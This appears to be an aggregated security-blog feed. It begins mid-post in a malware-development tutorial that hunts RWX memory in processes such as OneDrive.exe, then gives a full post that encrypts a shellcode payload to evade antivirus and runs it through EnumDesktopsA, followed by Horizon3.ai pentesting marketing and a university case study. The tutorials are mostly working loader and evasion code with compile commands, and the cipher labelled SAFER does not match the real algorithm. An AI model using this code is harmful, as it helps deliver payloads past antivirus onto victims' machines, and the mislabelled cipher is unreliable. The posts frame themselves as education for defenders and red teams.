  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      pid = GetProcessId(current);
      
      // check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;
      WCHAR procNumber[32];

      WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
      sName.Buffer = (PWSTR) malloc(500);

      // convert INT to WCHAR
      swprintf_s(procNumber, L"%d", pid);

      // and fill out UNICODE_STRING structure
      ZeroMemory(sName.Buffer, 500);
      memcpy(sName.Buffer, objPath, wcslen(objPath) * 2);   // add section name "prefix"
      StringCchCatW(sName.Buffer, 500, procNumber);      // and append with process ID
      sName.Length = wcslen(sName.Buffer) * 2;    // finally, adjust the string size
      sName.MaximumLength = sName.Length + 1;    
      
      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }

  return current;
}



int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

demo 2

Let’s go to see second example in action. Compile it:

x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

malware

Then just run it. Check on powershell.exe:

.\hack2.exe powershell.exe

malware

Now, second practical example worked as expected! Great! =^..^=

practical example 3

Ok, so what about previous question?

How we can check if the victim process is really OneDrive.exe process? It’s just in case, for example.

Let’s check OneDrive.exe process properties via Process Hacker 2:

malware

As you can see we can use the same trick: check section by it’s name: \Sessions\1\BaseNamedObjects\UrlZonesSM_test1. Of course, I could be wrong and the presence of this string does not guarantee that this is OneDrive.exe process. I just want to show that you can examine any process and try to find some indicators in the section names.

So, I updated my function again and full source code of my third example (hack3.c):

/*
 * hack.c - hunting RWX memory
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char *procname) {
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      // check for "\Sessions\1\BaseNamedObjects\UrlZonesSM_test1" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;

      WCHAR objPath[] = L"\\Sessions\\1\\BaseNamedObjects\\UrlZonesSM_test1";
      sName.Buffer = (PWSTR)objPath;
      sName.Length = wcslen(objPath) * sizeof(WCHAR);
      sName.MaximumLength = sName.Length + sizeof(WCHAR);

      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }
  return current;
}

int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

As you can see, the logic is simple: check section name and try to open it.

demo 3

Let’s go to see third example in action. Compile it:

x86_64-w64-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

malware

Then, run it on the victim’s machine:

.\hack3.exe OneDrive.exe

malware

As you can see, everything is worked perfectly again!

If anyone has seen a similar trick in real malware and APT, please write to me, maybe I didn’t look well, it seems to me that this is a technique already known to attackers.

I hope this post spreads awareness to the blue teamers of this interesting process investigation technique, and adds a weapon to the red teamers arsenal.

Process injection via RWX-memory hunting. Simple C++ example.
Malware development trick - part 30: Find PID via NtGetNextProcess. Simple C++ example.
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!

Get Ahead of Emerging Threats with Horizon3.ai’s Rapid Response Service

30 April 2024 at 19:33

In the ever-evolving landscape of cybersecurity, the speed of your response to emerging cyber threats can be the difference between a minor security incident and a catastrophic breach. Horizon3.ai provides you with a strategic advantage by enabling preemptive action in the
steadily shrinking window of time between the public disclosure of a vulnerability and its exploitation in the wild.

The post Get Ahead of Emerging Threats with Horizon3.ai’s Rapid Response Service appeared first on Horizon3.ai.

Fireside Chat: Horizon3.ai and JTI Cybersecurity

17 April 2024 at 21:00

Horizon3.ai Principal Security SME Stephen Gates and JTI Cybersecurity Principal Consultant Jon Isaacson discuss:

– What JTI does to validate things like access control, data loss prevention, ransomware protection, and intrusion detection approaches.
– How #pentesting and red team exercises allow orgs to validate the effectiveness of their security controls.
– Why offensive operations work best to discover and mitigate exploitable vulnerabilities in their client’s infrastructures.

The post Fireside Chat: Horizon3.ai and JTI Cybersecurity appeared first on Horizon3.ai.

Malware and cryptography 26: encrypt/decrypt payload via SAFER. Simple C/C++ example.

9 April 2024 at 01:00

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

This post is the result of my own research on try to evasion AV engines via encrypting payload with another algorithm: SAFER. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

SAFER

SAFER (Secure And Fast Encryption Routine) is a symmetric block cipher designed by James Massey. SAFER K-64 specifically refers to the variant with a 64-bit key size. It’s notable for its nonproprietary nature and has been incorporated into some products by Cylink Corp.

SAFER K-64 operates as an iterated block cipher, meaning the same function is applied for a certain number of rounds. Each round utilizes two 64-bit subkeys, and the algorithm exclusively employs operations on bytes. Unlike DES, SAFER K-64 is not a Feistel network.

practical example

For practical example, here is the step-by-step flow of the SAFER-64:

// extract left and right halves of the data block
L = data_ptr[0];
R = data_ptr[1];

// SAFER-64 encryption rounds
for (i = 0; i < ROUNDS; i++) {
  T = R ^ key_ptr[i % 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  L ^= (T + R);
  T = L ^ key_ptr[(i % 4) + 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  R ^= (T + L);
}

// update the data block with the encrypted values
data_ptr[0] = L;
data_ptr[1] = R;

So, the encryption function looks like this:

void safer_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = 0; i < ROUNDS; i++) {
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

What about decryption logic? The decryption process is not much different from encryption:

// extract left and right halves of the data block
L = data_ptr[0];
R = data_ptr[1];

// SAFER-64 decryption rounds
for (i = ROUNDS - 1; i >= 0; i--) {
  T = L ^ key_ptr[(i % 4) + 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  R ^= (T + L);
  T = R ^ key_ptr[i % 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  L ^= (T + R);
}

// Update the data block with the decrypted values
data_ptr[0] = L;
data_ptr[1] = R;

Respectively, SAFER-64 Decryption Function looks like this:

void safer_decrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = ROUNDS - 1; i >= 0; i--) {
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

Full source code for my main logic (β€œmalicious” payload encryption) look like this (hack.c):

/*
 * hack.c - encrypt and decrypt shellcode via SAFER. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/04/09/malware-cryptography-26.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define BLOCK_SIZE 8 // 64 bits
#define ROUNDS 6

void safer_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = 0; i < ROUNDS; i++) {
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

void safer_decrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = ROUNDS - 1; i >= 0; i--) {
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

int main() {
  unsigned char key[] = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  unsigned char my_payload[] =
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

  int len = sizeof(my_payload);
  int pad_len = (len + BLOCK_SIZE - 1) & ~(BLOCK_SIZE - 1);

  unsigned char padded[pad_len];
  memset(padded, 0x90, pad_len);
  memcpy(padded, my_payload, len);

  // encrypt the padded shellcode
  for (int i = 0; i < pad_len; i += BLOCK_SIZE) {
    safer_encrypt(&padded[i], key);
  }

  printf("encrypted:\n");
  for (int i = 0; i < sizeof(padded); i++) {
    printf("\\x%02x", padded[i]);
  }
  printf("\n\n");

  // decrypt the padded shellcode
  for (int i = 0; i < pad_len; i += BLOCK_SIZE) {
    safer_decrypt(&padded[i], key);
  }

  printf("decrypted:\n");
  for (int i = 0; i < sizeof(padded); i++) {
    printf("\\x%02x", padded[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, sizeof(padded), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, padded, pad_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);

  return 0;
}

As you can see, first of all, before encrypting, we use padding via the NOP (\x90) instructions.

As usually, I used meow-meow payload:

"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

For simplicity, I use running shellcode via EnumDesktopsA logic.

demo

Let’s go to see this trick in action. Compile our β€œmalware”:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

And run it at the victim’s machine (Windows 10 x64 v1903 in my case):

cryptography

cryptography

As you can see, our decrypted shellcode is modified: padding \x90 is working as expected.

Calc entropy and upload to VirusTotal:

python3 entropy.py -f ./hack.exe

cryptography

cryptography

https://www.virustotal.com/gui/file/65c5a47a5c965647f5724e520b23e947deb74ef48b7b961f8f159cdd9c392deb/detection

24 of of 70 AV engines detect our file as malicious as expected.

As you can see, this algorithm encrypts the payload quite well, but it is detected by many AV engines and is poorly suited for bypassing them, but this is most likely due to the fact that a well-studied method of launching the payload is used. if you apply anti-debugging, anti-disassembly and anti-VM tricks, the result will be better.

The Singapore government has considered using SAFER with a 128-bit key for various applications due to its lack of patent, copyright, or other restrictions, making it an attractive choice for widespread adoption.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

SAFER
Malware and cryptography 1
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

NodeZeroβ„’ from Horizon3.ai Optimized for MSSPs and MSPs

4 April 2024 at 14:45

Managed security service providers (MSSPs) and managed services providers (MSPs) tell us that in today’s cyber threat
environment, securing customer environments while still maintaining profit margins and growing adoption of their services is an ongoing challenge. The NodeZeroTM platform enables you to proactively and efficiently probe your customers’ networks for weaknesses that go beyond known and patchable vulnerabilities, such as credentials open to compromise, exposed data, misconfigurations, poor security controls, and weak policies.

The post NodeZeroβ„’ from Horizon3.ai Optimized for MSSPs and MSPs appeared first on Horizon3.ai.

No waiting, no wondering: Streamline your PCI pentesting process with Horizon3.ai

3 April 2024 at 20:46

Demand for #pentesting expertise is at an all-time high, and many orgs are struggling to meet their annual requirements for the PCI DSS v4.0. This webinar explains how our services fulfill your pentesting requirements and help you streamline your remediation efforts. You’ll learn about:

– Horizon3.ai’s human-machine teaming approach for compliance pentesting
– How we fully address requirement 11.4 of the PCI DSS and pentesting for the Self-Assessment Questionnaires (SAQs)
– A practitioner’s view of how #NodeZero helps orgs efficiently interpret and remediate their penetration test report

The post No waiting, no wondering: Streamline your PCI pentesting process with Horizon3.ai appeared first on Horizon3.ai.

Horizon3.ai PCI 11.4 Pentesting Engagement

1 April 2024 at 15:44

Horizon3.ai delivers sophisticated and timely penetration testing services tailored to fulfill the internal and external pentesting requirements of your cardholder data environment outlined by the Payment Card Industry Data Security Standard (PCI DSS) v4.0. Our offerings are executed with comprehensive coverage and meticulous attention to detail to fully address these stringent pentesting requirements.

The post Horizon3.ai PCI 11.4 Pentesting Engagement appeared first on Horizon3.ai.

Autonomous Penetration Testing with Horizon3.ai

28 March 2024 at 16:47

The NodeZeroTM platform is easy-to-use, safe for production, and scales to support your largest networks. You are empowered to test a very broad scope in a single test, orchestrate tests concurrently, and simultaneously test your enterprise from different attacker perspectives.

The post Autonomous Penetration Testing with Horizon3.ai appeared first on Horizon3.ai.

NodeZero Capability Statement

28 March 2024 at 16:40

The NodeZeroTM platform empowers your organization to reduce your security risk by autonomously finding exploitable weaknesses in your network, giving you detailed guidance about how to prioritize and fix them, and helping you immediately verify that your fixes are effective.

The post NodeZero Capability Statement appeared first on Horizon3.ai.

Empowering Educational Compliance: Navigating the Future with Autonomous Pentesting in Academia

28 March 2024 at 15:42

How Autonomous Pentesting Transformed University Protection

Given the pivotal role of education in shaping future leaders and driving innovation, safeguarding the integrity and security of educational systems is paramount. The educational sector continues to be a prime target for cyber threat actors due to its vast repositories of sensitive data, ranging from student records to innovative research findings. As universities increasingly rely on digital platforms for administrative functions, online learning, and collaborative research endeavors, the volume and diversity of data stored within their systems become lucrative targets for cybercriminals. Breaches not only compromise the confidentiality of student and faculty information but also undermine the institution’s reputation and erode trust among stakeholders. Moreover, the interconnected nature of academic networks exposes them to a wide array of cyber-attacks, including phishing attempts, malware, ransomware, exploits, and data breaches, which can disrupt operations and compromise the integrity of academic activities. By prioritizing cybersecurity, educational institutions not only fulfill their duty to protect the interests of their stakeholders but also contribute to the broader goal of building a secure and resilient digital ecosystem that fosters innovation, collaboration, and learning.

About Moravian University

  • Moravian University’s liberal arts education prepares each individual for a reflective life, fulfilling careers, and transformative leadership in a world of change.
  • Year Founded: 1742
    (6th oldest college in America)
  • Number of Staff: 372
  • Operational Reach: Moravian University is a small private institution known for offering undergraduate and graduate degrees that blend a leadership focus, career development, and global experiences with liberal arts programs. Moravian University is committed to making our private education affordable to as many students as possible.

Playing by the Book

Additional to safeguarding information and networks, educational institutions are also subject to various laws and regulations governing data protection, privacy, and cybersecurity. Compliance with these requirements is not only a legal obligation but also essential for maintaining the institution’s reputation, avoiding penalties, and protecting against cyber-attacks. This may include standards such as the General Data Protection Regulation (GDPR), the Health Insurance Portability and Accountability Act (HIPAA), the Payment Card Industry Data Security Standard (PCI DSS), and various other State and Federal higher education regulatory policies and guidance. For our higher education customers, a key aspect of compliance includes conducting continuous cyber risk assessments of their environments. This not only ensures they comply with regulations, but to also find, fix and remediate potential cybersecurity vulnerabilities within their environment before cyber threat actors exploit them.

As explained by alumni and Director of Information Security at Moravian University, Jim Beers,

Compliance is one of the main driving factors behind why Moravian needed to implement solutions that identify vulnerabilities so that we can fix them quickly.

Being with Moravian for over 25 years, Jim innately understands the need for higher education institutions to implement tools to ensure compliance and see their environment as an attacker does. Like many others in Jim’s situation, implementing solutions (such as pentesting) is crucial for universities to proactively identify and address security vulnerabilities, fortifying their digital infrastructure against cyber threats and ensuring the confidentiality, integrity, and availability (CIA) of sensitive academic and personal data.

However, unlike Jim, many educational organizations often opt to do the minimum in cybersecurity compliance. Limited budgets and resources often constrain their ability to invest in robust cybersecurity measures. Additionally, often there is a lack of awareness or understanding of the evolving cyber threats and regulatory requirements at the leadership and administrative levels. The decentralized nature of many educational institutions, with numerous departments and stakeholders operating independently, can create challenges in implementing cohesive cybersecurity policies and practices. This can also result in the perception that cybersecurity is not a top priority compared to other competing demands within the institution.

Moravian University: Remediation Guidance

What these organizations fail to realize is that a once a year traditional pentest often costs more than an autonomous solution that continuously assesses their environment. Additionally, traditional vulnerability scanners are good at identifying and describing vulnerabilities in general, but often fall short in providing actionable guidance. Jim explains, β€œour past vulnerability scanner told me what vulnerabilities were of high or low severity and if there is an exploit, but it didn’t tell me why…there was too much information without enough direction or actionable insights.” For an educational institution to proactively stay ahead of threats, Jim needed to look further and find a solution that not only saved him time and frustration, but also provided him with immediate results and fix actions to quickly resolve vulnerabilities before threat actors exploit them.

Enter NodeZeroTM

Jim wanted to get away from basic vulnerability scanners and adopt something that could not only meet regulatory and compliance requirements but one that could exceed them. His goal was to β€œmove from a limited theoretical vulnerability scanner to a scanner that allows me to see more information and reports on the things that can really be exploited.” Additionally, his current vulnerability scanner was β€œsomewhat expensive” and was limited in its scanning capability, along with its poor actionable results. Jim was also concerned that his current tools could not scan and illuminate their entire network, highlighting that β€œsecurity is about visibility, and you have to know what is there to protect, and our ability to do that was limited.” As the Department of Education (DoE) continues to implement more stringent cyber policies, regulations, and guidance, pentesting is the main driver for compliance across the board. That coupled with cyber insurance requirements, Jim explains, β€œthey [DoE and insurers] want to see that you’re identifying exploitable vulnerabilities and you’re fixing them,” and the only way to do that is through continuous assessments.

The things that you [NodeZero] are finding, we didn’t know existed.

Too new – let’s go traditional

We often hear that some of our higher education customers were hesitant to move from traditional, manual pentesting efforts to an autonomous pentesting solution like NodeZero. Some universities may be inclined to stick with traditional pentesting methods due to familiarity, comfort, and the perception of reliability. Many institutions may have established relationships with pentesting firms or internal teams that have been conducting tests using traditional methodologies for years. Additionally, there might be a lack of awareness about the limitations of traditional pentesting and the advantages of newer autonomous pentesting solutions.
However, most educational institutions that use traditional (manual) pentesting approaches tend to pentest one time to meet regulatory compliance requirements. Moravian did just that. Jim explains that before he explored solutions like Horizon3.ai’s NodeZero, they had β€œdone one traditional pentest nearly 10 years ago, and it was a hefty sum.” Furthermore, Jim’s management thought that these emerging autonomous solutions were too new to the market, and that traditional pentesting was reliable, even if it was pricey. They implemented another traditional pentesting effort prior to choosing NodeZero. β€œFor the amount we paid, [the pentesters] did a good job, but it was not exactly what they expected,” says Jim. The results Jim received from the traditional pentest were good, but he explained that β€œit was a one and done test…I have all year to fix the issues, but the environment keeps evolving and changing as we are going along…next year, how am I going to be surprised in the next pentest and during that gap, what if something goes wrong and I don’t know about it?”

Shifting to an Autonomous State of Mind

As Jim is keenly aware of the evolving cyber landscape, he decided that continuous, autonomous pentesting would not only meet compliance standards, but keep Moravian at the forefront of proactively securing their environment and keeping sensitive data safe. After their second time using traditional pentesting was somewhat unsuccessful, Jim decided it was time to give NodeZero a chance.

Moravian University: Verifying Fixes Work

Right away, Jim realized that they had made the right decision, especially because NodeZero now allowed Moravian to implement unlimited testing of their environment, as well as the ability to schedule pentests at will. He also mentioned that NodeZero allows him to β€œcheck for vulnerabilities, find out how they’re exploited, and then fix it immediately…I was amazed at how easy it was…I can use the 1-click verify shopping cart to quickly verify our remediations, saving countless hours.” With NodeZero, customers can ensure fix actions were properly implemented with 1-click verify, enabling them to quickly check that remediations fixed the issues. Further, Jim explains how NodeZero PDF reports and CSV files are highly informative, allowing him β€œto download it all as a package, slice and dice as needed, and get them distributed to the right people.”

On top of that, Jim also noted that he liked that he β€œcould spin up NodeZero on different parts of the network and try to get into a place that I didn’t think we could get to…testing my defenses and giving me visibility.” NodeZero doesn’t just scan your network, it looks at your network as an attacker would. Our attack paths show how an attacker weaves into a network and what they did to get domain admin, host compromise, or sensitive data exposure, for example. He was also impressed with our proactive Rapid Response capability outside of NodeZero’s interface, calling to an additional Follow, Alert, and Review (FLARE) notification he received via email from our Customer Success and Engineering teams.

β€œStarting about 5 years ago, we had a 6.8% response rate [to phishing campaigns] and we’re down to .22%”

Moravian University: Phishing Concerns

Lastly, Jim mentioned that one of β€œthe biggest risks [to Moravian] is users coughing up their credentials because they were phished.” Recently added to NodeZero, customers can now harness the Phishing Impact test that allows security professionals to integrate into their existing phishing training and awareness platforms. Jim thinks that this test will be eye opening, and help organizations shift policies and guidance to better educate staff. Jim says, β€œusing phished credentials from the phishing test and injecting them in other pentests would be a lesson for not only the individual whose credentials were phished, but for the entire institution about how quickly something could happen.” His goal is to use the new capability to educate management and staff as to why phishing is a huge risk to their organization and what can be done to continue driving their response rate down.

My first impression was ease of use…to be able to just copy and paste a command and BAM! You’re inside attacking my network!

β€œCompliance drove us to trying to find a pentesting solution”

Moravian University: Vulnerability Prioritization

